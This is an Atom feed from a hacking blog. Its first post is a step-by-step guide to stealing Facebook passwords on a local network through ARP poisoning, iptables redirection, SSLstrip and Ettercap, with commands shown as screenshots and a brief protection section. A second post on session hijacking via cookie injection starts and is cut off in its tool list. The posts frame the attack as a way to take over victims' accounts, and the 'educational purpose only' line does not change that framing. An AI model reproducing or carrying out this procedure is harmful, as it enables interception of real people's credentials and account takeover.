<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9011660198155217135</id><updated>2021-10-20T07:14:12.592-07:00</updated><title type='text'>EXTREME HACKING</title><subtitle type='html'>&lt;b&gt;&lt;i&gt;HUMAN KNOWLEDGE BELONGS TO THE WORLD&lt;/i&gt;&lt;/b&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>50</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-2589274442355497997</id><published>2013-06-08T01:26:00.000-07:00</published><updated>2013-06-24T09:25:15.181-07:00</updated><title type='text'>HACK FACEBOOK BY BREAKING THE SSL</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In my previous post I&#39;ve discussed &lt;a href=&quot;http://www.xtrmhack.com/2013/05/hack-facebook-by-session-hijacking.html&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;&lt;i&gt;how user&#39;s session is hijacked&lt;/i&gt;&lt;/b&gt;&lt;/a&gt; and how SSL/TLS is incorporated for secure communication. But still the hackers can sniff the user credentials by breaking the SSL/TLS. This technique is referred to &lt;b&gt;SSLstrip&lt;/b&gt; which was released by &lt;b&gt;Moxie Marlinspike&lt;/b&gt; to demonstrate the vulnerabilities he spoke about at &lt;b&gt;Black Hat Technical Security Conference: USA 2009&lt;/b&gt;. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-eciCxHwTJYw/UbLYbWfzNGI/AAAAAAAAAzs/qMs2TtAC3NY/s1600/sslstrip-3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;173&quot; src=&quot;http://2.bp.blogspot.com/-eciCxHwTJYw/UbLYbWfzNGI/AAAAAAAAAzs/qMs2TtAC3NY/s320/sslstrip-3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In this scope I&#39;ll be using &lt;a href=&quot;http://www.backtrack-linux.org/&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;BackTrack&lt;/b&gt;&lt;/a&gt;, a Penetration Testing Distribution integrated with the below tools to scan the Network, set up Firewall rules, MIMA, monitor client-server HTTP connection and sniff packets.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;NMAP &lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;IPTABLES&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;ARPSPOOF&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;SSLSTRIP&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;ETTERCAP&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SSLstrip strips out HTTPS links from unencrypted webpages, replaces them with HTTP links and sends the altered pages to the client. The client never sees an HTTPS link to click on, only the unencrypred HTTP version.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-x48fXed9bGc/UbLnNn-L5cI/AAAAAAAAA1Q/D90wLVgUyKU/s1600/ssl_strip.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;123&quot; src=&quot;http://4.bp.blogspot.com/-x48fXed9bGc/UbLnNn-L5cI/AAAAAAAAA1Q/D90wLVgUyKU/s400/ssl_strip.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Techniques:&amp;nbsp;&lt;/b&gt; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. First Scan your network and find the target using &lt;b&gt;NMAP&lt;/b&gt;, a Network Scanner. In this case i got 192.168.1.5 as the Target.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-M1zSZNtloRQ/UbLgPCJ4KrI/AAAAAAAAAz8/BnbtOyObGmM/s1600/nmap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;127&quot; src=&quot;http://4.bp.blogspot.com/-M1zSZNtloRQ/UbLgPCJ4KrI/AAAAAAAAAz8/BnbtOyObGmM/s400/nmap.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; 2. Next I need to start the &lt;b&gt;IP Forwarding&lt;/b&gt; which enables my machine to forward any network traffic it receives from the target to the router.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-gQmg-KjILJA/UbLg8vk4IGI/AAAAAAAAA0E/ZSIr_wHhgqg/s1600/ip_forward.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;60&quot; src=&quot;http://3.bp.blogspot.com/-gQmg-KjILJA/UbLg8vk4IGI/AAAAAAAAA0E/ZSIr_wHhgqg/s400/ip_forward.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. Next Set up port redirection using &lt;b&gt;IPtables&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-4WGnlXZ4RLo/UbLhaxgEkJI/AAAAAAAAA0M/BOYt1N2VEXA/s1600/iptable.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;46&quot; src=&quot;http://1.bp.blogspot.com/-4WGnlXZ4RLo/UbLhaxgEkJI/AAAAAAAAA0M/BOYt1N2VEXA/s400/iptable.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;4. Next Man-In-The-Middle-Attack (MIMA) is begun by exploiting &lt;a href=&quot;http://www.xtrmhack.com/2011/04/arp-poisoning.html&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;ARP Cache Poisoning&lt;/b&gt;&lt;/a&gt; to intercept network traffic between the target and the  router.&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Ahcq3VQCP-Y/UbLh8EyUErI/AAAAAAAAA0Y/p16EKhmhKgQ/s1600/ip_forward.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;55&quot; src=&quot;http://1.bp.blogspot.com/-Ahcq3VQCP-Y/UbLh8EyUErI/AAAAAAAAA0Y/p16EKhmhKgQ/s400/ip_forward.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;5. Start the &lt;b&gt;SSLstrip&lt;/b&gt; tool and make it listen to default port 10000. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-oDB-1Jq7Ugw/UbLiscPSnNI/AAAAAAAAA0g/GkTNkNyaBiY/s1600/sslstrip.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;http://3.bp.blogspot.com/-oDB-1Jq7Ugw/UbLiscPSnNI/AAAAAAAAA0g/GkTNkNyaBiY/s400/sslstrip.png&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;6. Start &lt;b&gt;Ettercap&lt;/b&gt; to sniff the packets to fetch user credentials.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-m_BTmfdP3Uk/UbLjTgftV9I/AAAAAAAAA0o/4QzvpuC9lM0/s1600/ettercap-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;http://2.bp.blogspot.com/-m_BTmfdP3Uk/UbLjTgftV9I/AAAAAAAAA0o/4QzvpuC9lM0/s400/ettercap-2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Once this setup is up and running perfectly, let the victim login the &lt;b&gt;Facebook&lt;/b&gt;. In particular, the victim&#39;s HTTP traffic will be redirected to our port 10000, where SSLstrip is listening. After this we will be able to eavesdrop and steal all of the victim&#39;s passwords sent supposedly over SSL/TLS.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-yQxIGGgjXH0/UbLlw4s5fqI/AAAAAAAAA04/f9nNnUbaT3I/s1600/ettercap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;48&quot; src=&quot;http://3.bp.blogspot.com/-yQxIGGgjXH0/UbLlw4s5fqI/AAAAAAAAA04/f9nNnUbaT3I/s400/ettercap.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1.&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/force-tls/&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;Force-TLS&lt;/b&gt;&lt;/a&gt; add-on allows web sites to tell Firefox that they should be served via HTTPS in the future; this helps secure you from accidentally negotiating an insecure session with certain sites.&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-rUHZkpBJLc8/UbLm-T50kUI/AAAAAAAAA1I/_eKTFoPaoTs/s1600/ftls.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-rUHZkpBJLc8/UbLm-T50kUI/AAAAAAAAA1I/_eKTFoPaoTs/s1600/ftls.png&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2.&lt;b&gt; &lt;a href=&quot;http://tools.ietf.org/html/rfc6797&quot; style=&quot;color: blue;&quot;&gt;HTTP Strict Transport Security&lt;/a&gt;&lt;/b&gt; (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure HTTPS connections (i.e. HTTP layered over TLS/SSL) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/2589274442355497997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2013/06/breaking-ssl-to-hack-fb.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2589274442355497997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2589274442355497997'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2013/06/breaking-ssl-to-hack-fb.html' title='HACK FACEBOOK BY BREAKING THE SSL'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-eciCxHwTJYw/UbLYbWfzNGI/AAAAAAAAAzs/qMs2TtAC3NY/s72-c/sslstrip-3.jpg" height="72" width="72"/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-3907236315691229344</id><published>2013-05-08T11:20:00.003-07:00</published><updated>2013-06-20T04:47:13.422-07:00</updated><title type='text'>HACK FACEBOOK BY HIJACKING THE SESSION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;How To Hack FACEBOOK ?&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Hello friends ! Previously I&#39;ve posted different ways to  hack the user account of Email Server or Social Networking site. For  more information please click &lt;a href=&quot;http://www.xtrmhack.com/2010/12/hack-orkut-account.html&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;. Today I&#39;ll illustrate the &lt;a href=&quot;http://www.xtrmhack.com/2010/12/session-hijacking.html&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;SESSION HIJACKING&lt;/b&gt;&lt;/a&gt; technique to hack FB Account.&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-UCtO2WpSulk/UYp5lqTFgJI/AAAAAAAAAxY/D2IZw_eIQ64/s1600/fb+hack.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;189&quot; src=&quot;http://1.bp.blogspot.com/-UCtO2WpSulk/UYp5lqTFgJI/AAAAAAAAAxY/D2IZw_eIQ64/s320/fb+hack.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In this scope I will be using &lt;a href=&quot;http://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CDEQFjAA&amp;amp;url=http%3A%2F%2Fwww.backtrack-linux.org%2F&amp;amp;ei=YH2KUZaBBsrsrAeWhoG4BA&amp;amp;usg=AFQjCNFEOdUyeaed-1hcvvz3uxqRi07k_w&amp;amp;sig2=KxPLtWYeCJtju8rVn-XAyg&amp;amp;bvm=bv.46226182,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;BACKTRACK&lt;/b&gt;&lt;/a&gt;, a Penetration Testing Distribution&lt;b&gt; &lt;/b&gt;integrated with the below tools for Network Scan, MIMA and Packet Analysis.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;1. NMAP&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;2. ARPSPOOF&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;3. WIRESHARK&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;And two below scripts which are compatible with &lt;a href=&quot;http://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;sqi=2&amp;amp;ved=0CC4QFjAA&amp;amp;url=http%3A%2F%2Fwww.mozilla.org%2Fen-US%2Ffirefox%2Fnew%2F&amp;amp;ei=loeKUbK7FITBrAeutYDwCQ&amp;amp;usg=AFQjCNHXR7GrDNHIc3plcSvQSx_ByCacYQ&amp;amp;sig2=7f9mDsob8fGLYIilgHZXww&amp;amp;bvm=bv.46226182,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;Mozilla Firefox&lt;/b&gt;&lt;/a&gt; will be used for Cookie Injection:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;1. GREASEMONKEY&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;2. COOKIE INJECTOR&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Techniques:&amp;nbsp; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. First Scan your network and find the target using &lt;a href=&quot;http://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CC4QFjAA&amp;amp;url=http%3A%2F%2Fnmap.org%2F&amp;amp;ei=T4WKUaGvLMThrAfK5oDABA&amp;amp;usg=AFQjCNHzcN-xitNeKNgtt4WVBN4GtflTEQ&amp;amp;sig2=rJRjzPtj430261iEys4-fw&amp;amp;bvm=bv.46226182,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;NMAP&lt;/b&gt;&lt;/a&gt;, a Network Scanner. In this case i got 192.168.1.3 as the Target.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div 